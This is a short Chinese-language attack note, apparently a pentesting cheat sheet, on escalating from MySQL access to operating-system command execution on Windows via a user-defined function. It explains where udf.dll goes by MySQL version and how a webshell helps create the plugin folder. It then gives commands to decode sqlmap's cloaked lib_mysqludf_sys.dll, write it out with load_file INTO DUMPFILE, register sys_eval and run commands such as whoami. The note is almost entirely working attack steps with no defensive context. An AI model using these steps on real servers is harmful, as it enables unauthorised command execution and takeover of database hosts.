测试环境windows2008
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的libplugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:windowssystem32目录,在windows server 2000下放置在c:winntsystem32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限
//sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
//将解码的.dll文件上传到任意目录
select load_file('C:/XXX/lib_mysqludf_sys.dll') into dumpfile 'C:/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll';
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
//支持的函数
sys_eval - executes an arbitrary command, and returns it's output.
sys_exec - executes an arbitrary command, and returns it's exit code.
sys_get - gets the value of an environment variable.
sys_set - create an environment variable, or update the value of an existing environment variable.
//执行命令
select sys_eval('whoami');